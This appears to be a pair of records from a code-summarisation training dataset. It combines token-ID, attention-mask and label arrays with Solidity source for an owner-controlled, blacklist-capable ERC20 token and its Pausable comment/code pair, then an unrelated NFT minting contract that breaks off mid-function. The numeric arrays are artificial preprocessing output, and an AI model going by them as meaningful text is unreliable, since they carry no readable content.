[ 1, 26946, 2357, 29375, 326, 23178, 434, 279, 864, 1147, 1599, 358, 4042, 1758, 971, 326, 1018, 1758, 353, 279, 6835, 16, 518, 1297, 2348, 1375, 265, 654, 39, 27, 5340, 8872, 9191, 1492, 353, 2566, 12318, 279, 4183, 7412, 16, 471, 327, 326, 8146, 460, 1375, 3890, 24, 12, 79, 24410, 581, 5034, 2932, 265, 654, 39, 27, 5340, 8872, 12, 2867, 16, 2867, 16, 11890, 5034, 16, 3890, 2225, 3719, 68, 31, 3541, 16, 326, 7412, 353, 15226, 329, 18, 16412, 326, 1234, 18, 15330, 358, 506, 326, 3410, 16, 20412, 16, 578, 3726, 225, 628, 783, 3410, 434, 326, 1147, 225, 358, 1758, 358, 6798, 326, 23178, 434, 326, 864, 1147, 1599, 225, 1147, 548, 2254, 5034, 1599, 434, 326, 1147, 358, 506, 906, 4193, 225, 389, 892, 1731, 501, 358, 1366, 7563, 598, 279, 4183, 7412, 866, 19, 2, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 1147, 548, 16, 1731, 3778, 389, 892, 13, 1071, 288, 203, 3639, 7412, 1265, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 3639, 2583, 24899, 1893, 1398, 654, 39, 27, 5340, 8872, 12, 2080, 16, 358, 16, 1147, 548, 16, 389, 892, 3631, 315, 654, 39, 27, 5340, 30, 7412, 358, 1661, 4232, 39, 27, 5340, 12952, 2348, 264, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded QUINToken) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract QUINToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function QUINToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issuedi function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
* @title Pausable @dev Base contract which allows children to implement an emergency stop mechanism./
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } }
8,003,405
[ 1, 16507, 16665, 225, 3360, 6835, 1492, 5360, 2325, 358, 2348, 392, 801, 24530, 2132, 12860, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 21800, 16665, 353, 14223, 6914, 288, 203, 225, 871, 31357, 5621, 203, 225, 871, 1351, 19476, 5621, 203, 21281, 225, 1426, 1071, 17781, 273, 629, 31, 203, 21281, 21281, 225, 9606, 1347, 1248, 28590, 1435, 288, 203, 565, 2583, 12, 5, 8774, 3668, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 21281, 225, 9606, 1347, 28590, 1435, 288, 203, 565, 2583, 12, 8774, 3668, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 21281, 225, 445, 11722, 1435, 1338, 5541, 1347, 1248, 28590, 1071, 288, 203, 565, 17781, 273, 638, 31, 203, 565, 31357, 5621, 203, 225, 289, 203, 21281, 225, 445, 640, 19476, 1435, 1338, 5541, 1347, 28590, 1071, 288, 203, 565, 17781, 273, 629, 31, 203, 565, 1351, 19476, 5621, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; interface IAstraMetadata { function tokenURI(uint256 tokenId, uint256 meta, bool isLocking, string memory genesisImageUrl) external view returns (string memory); function generate(uint256 seed) external view returns (uint256, uint256); } contract AstraArmy is ERC721, Ownable { using SafeMath for uint256; uint256 constant MAX_ALPHA_SUPPLY = 8869; // Maximum limit of tokens for sale by ETH uint256 constant MAX_TOTAL_SUPPLY = 696969; // Maximum limit of tokens in the collection uint256 constant MAX_GIVEAWAY_REVERSE = 69; // Maximum limit of tokens for giving away purposes uint256 constant BATCH_PRESALE_LIMIT = 2; // Maximum limit of tokens per pre-sale transaction uint256 constant BATCH_BORN_LIMIT = 3; // Maximum limit of tokens per mint by token transaction uint256 constant PRESALE_PRICE = 0.050 ether; // Price for pre-sale uint256 constant PUBLICSALE_PRICE = 0.069 ether; // Price for minting uint256 constant CLAIM_TIMEOUT = 14*24*3600; // Claim expiration time after reserve uint256 constant STATS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000; // Mask for separate props and stats uint256 public MaxSalePerAddress = 10; // Maximum limit of tokens per address for minting uint256 public LockingTime = 2*24*3600; // Lock metadata after mint in seconds uint256 public TotalSupply; // Current total supply uint256 public GiveAwaySupply; // Total supply for giving away purposes uint256 public ResevedSupply; // Current total supply for sale by ETH bytes32 public PresaleMerkleRoot; // Merkle root hash to verify pre-sale address address public PaymentAddress; // The address where payment will be received address public MetadataAddress; // The address of metadata's contract address public BattleAddress; // The address of game's contract bool public PreSaleActived; // Pre-sale is activated bool public PublicSaleActived; // Public sale is activated bool public BornActived; // Mint by token is activated mapping (uint256 => uint256) MintTimestampMapping; // Mapping minting time mapping (uint256 => uint256) MetadataMapping; // Mapping token's metadata mapping (uint256 => bool) MetadataExisting; // Mapping metadata's existence mapping (address => bool) PresaleClaimedMapping; // Mapping pre-sale claimed rewards mapping (address => uint256) ReserveSaleMapping; // Mapping reservations for public sale mapping (address => uint256) ReserveTimestampMapping;// Mapping minting time mapping (address => uint256) ClaimedSaleMapping; // Mapping claims for public sale // Initialization function will initialize the initial values constructor(address metadataAddress, address paymentAddress) ERC721("Astra Chipmunks Army", "ACA") { PaymentAddress = paymentAddress; MetadataAddress = metadataAddress; // Generate first tokens for Alvxns & teams saveMetadata(1, 0x00000a000e001c001b0011001700000000000000000000000000000000000000); super._safeMint(paymentAddress, 1); TotalSupply++; } // Randomize metadata util it's unique function generateMetadata(uint256 tokenId, uint256 seed) internal returns (uint256) { (uint256 random, uint256 meta) = IAstraMetadata(MetadataAddress).generate(seed); if(MetadataExisting[meta]) return generateMetadata(tokenId, random); else return meta; } // Get the tokenURI onchain function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return IAstraMetadata(MetadataAddress).tokenURI(tokenId, MetadataMapping[tokenId], MintTimestampMapping[tokenId] + LockingTime > block.timestamp, ""); } // The function that reassigns a global variable named MetadataAddress (owner only) function setMetadataAddress(address metadataAddress) external onlyOwner { MetadataAddress = metadataAddress; } // The function that reassigns a global variable named BattleAddress (owner only) function setBattleAddress(address battleAddress) external onlyOwner { BattleAddress = battleAddress; } // The function that reassigns a global variable named PaymentAddress (owner only) function setPaymentAddress(address paymentAddress) external onlyOwner { PaymentAddress = paymentAddress; } // The function that reassigns a global variable named PresaleMerkleRoot (owner only) function setPresaleMerkleRoot(bytes32 presaleMerkleRoot) external onlyOwner { PresaleMerkleRoot = presaleMerkleRoot; } // The function that reassigns a global variable named PreSaleActived (owner only) function setPresaleActived(bool preSaleActived) external onlyOwner { PreSaleActived = preSaleActived; } // The function that reassigns a global variable named BornActived (owner only) function setBornActived(bool bornActived) external onlyOwner { BornActived = bornActived; } // The function that reassigns a global variable named PublicSaleActived (owner only) function setPublicSaleActived(bool publicSaleActived) external onlyOwner { PublicSaleActived = publicSaleActived; } // The function that reassigns a global variable named LockingTime (owner only) function setLockingTime(uint256 lockingTime) external onlyOwner { LockingTime = lockingTime; } // The function that reassigns a global variable named MaxSalePerAddress (owner only) function setMaxSalePerAddress(uint256 maxSalePerAddress) external onlyOwner { MaxSalePerAddress = maxSalePerAddress; } // Pre-sale whitelist check function function checkPresaleProof(address buyer, bool hasFreeMint, bytes32[] memory merkleProof) public view returns (bool) { // Calculate the hash of leaf bytes32 leafHash = keccak256(abi.encode(buyer, hasFreeMint)); // Verify leaf using openzeppelin library return MerkleProof.verify(merkleProof, PresaleMerkleRoot, leafHash); } // Give away minting function (owner only) function mintGiveAway(uint256 numberOfTokens, address toAddress) external onlyOwner { // Calculate current index for minting uint256 i = TotalSupply + 1; TotalSupply += numberOfTokens; GiveAwaySupply += numberOfTokens; // Exceeded the maximum total give away supply require(0 < numberOfTokens && GiveAwaySupply <= MAX_GIVEAWAY_REVERSE && TotalSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!'); for (;i <= TotalSupply; i++) { // To the sun _safeMint(toAddress, i); } } // Presale minting function function mintPreSale(uint256 numberOfTokens, bool hasFreeMint, bytes32[] memory merkleProof) external payable { // Calculate current index for minting uint256 i = TotalSupply + 1; TotalSupply += numberOfTokens.add(hasFreeMint ? 1 : 0); // The sender must be a wallet require(msg.sender == tx.origin, 'Not a wallet!'); // Pre-sale is not open yet require(PreSaleActived, 'Not open yet!'); // Exceeded the maximum total supply require(TotalSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!'); // Exceeded the limit for each pre-sale require(0 < numberOfTokens && numberOfTokens <= BATCH_PRESALE_LIMIT, 'Exceed limitation!'); // You are not on the pre-sale whitelist require(this.checkPresaleProof(msg.sender, hasFreeMint, merkleProof), 'Not on the whitelist!'); // Your promotion has been used require(!PresaleClaimedMapping[msg.sender], 'Promotion is over!'); // Your ETH amount is insufficient require(PRESALE_PRICE.mul(numberOfTokens) <= msg.value, 'Insufficient funds!'); // Mark the address that has used the promotion PresaleClaimedMapping[msg.sender] = true; // Make the payment to diffrence wallet payable(PaymentAddress).transfer(msg.value); for (; i <= TotalSupply; i++) { // To the moon _safeMint(msg.sender, i); } } // Getting the reserve status function reserveStatus(address addressOf) external view returns (uint256, uint256) { uint256 claimable = ReserveSaleMapping[addressOf] - ClaimedSaleMapping[addressOf]; uint256 reservable = MaxSalePerAddress > ReserveSaleMapping[addressOf] ? MaxSalePerAddress - ReserveSaleMapping[addressOf] : 0; return (claimable, reservable); } // Public sale by ETH minting function function reserve(uint256 numberOfTokens) external payable { // Register for a ticket ReserveSaleMapping[msg.sender] = ReserveSaleMapping[msg.sender].add(numberOfTokens); ResevedSupply = ResevedSupply.add(numberOfTokens); ReserveTimestampMapping[msg.sender] = block.timestamp; // The sender must be a wallet require(msg.sender == tx.origin, 'Not a wallet!'); // Public sale is not open yet require(PublicSaleActived, 'Not open yet!'); // Exceeded the maximum total supply require(TotalSupply + ResevedSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!'); // Your ETH amount is insufficient require(0 < numberOfTokens && PUBLICSALE_PRICE.mul(numberOfTokens) <= msg.value, 'Insufficient funds!'); // Exceeded the limit per address require(numberOfTokens <= MaxSalePerAddress && ReserveSaleMapping[msg.sender] <= MaxSalePerAddress, 'Exceed address limitation!'); // Make the payment to diffrence wallet payable(PaymentAddress).transfer(msg.value); } // Public sale by ETH minting function function claim() external payable { // The sender must be a wallet require(msg.sender == tx.origin, 'Not a wallet!'); // Reservetions must come first require(ReserveSaleMapping[msg.sender] > ClaimedSaleMapping[msg.sender], 'Already claimed!'); // Expired claims require(ReserveTimestampMapping[msg.sender] + CLAIM_TIMEOUT > block.timestamp, 'Expired claims!'); // Calculate current index for minting uint256 i = TotalSupply + 1; uint256 numberOfTokens = ReserveSaleMapping[msg.sender] - ClaimedSaleMapping[msg.sender]; ResevedSupply -= numberOfTokens; TotalSupply += numberOfTokens; // Reassign used tickets ClaimedSaleMapping[msg.sender] = ReserveSaleMapping[msg.sender]; delete(ReserveTimestampMapping[msg.sender]); for (; i <= TotalSupply; i++) { // To the moon _safeMint(msg.sender, i); } } // Public sale by token minting function function born(address toAddress, uint256 numberOfTokens) external { // Calculate current index for minting uint256 i = TotalSupply + 1; TotalSupply = TotalSupply.add(numberOfTokens); // Born is not open yet require(BornActived, 'Not open yet!'); // Exceeded the limit for each mint egg require(0 < numberOfTokens && numberOfTokens <= BATCH_BORN_LIMIT, 'Exceed batch limitation!'); // Exceeded the maximum total supply require(TotalSupply <= MAX_TOTAL_SUPPLY, 'Exceed total supply!'); // The sender must be game contract require(msg.sender == BattleAddress, 'Not authorized!'); for (; i <= TotalSupply; i++) { // To the moon _safeMint(toAddress, i); } } // Setting the stats of the token function setStats(uint256 tokenId, uint256 meta) external { // The sender must be game contract require(msg.sender == BattleAddress, 'Not authorized!'); // Put on a mask to make sure nothing can change the art, just stats MetadataMapping[tokenId] = (MetadataMapping[tokenId] & ~STATS_MASK) | (meta & STATS_MASK); } // Save the metadata information function saveMetadata(uint256 tokenId, uint256 meta) internal { MintTimestampMapping[tokenId] = block.timestamp; MetadataMapping[tokenId] = meta; MetadataExisting[meta] = true; } // Customize safeMint function function _safeMint(address to, uint256 tokenId) internal virtual override { // Generate and save metadata saveMetadata(tokenId, generateMetadata(tokenId, tokenId)); // Call the function super super._safeMint(to, tokenId); } // Customize beforeTokenTransfer function function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { // Call the function super super._beforeTokenTransfer(from, to, tokenId); // Lock the tranfer of LockingTime seconds, except for the alpha generation require(tokenId <= MAX_ALPHA_SUPPLY || MintTimestampMapping[tokenId] + LockingTime < block.timestamp, 'Not transferable!'); } // Customize totalSupply function function totalSupply() external virtual returns (uint256) { return TotalSupply; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) 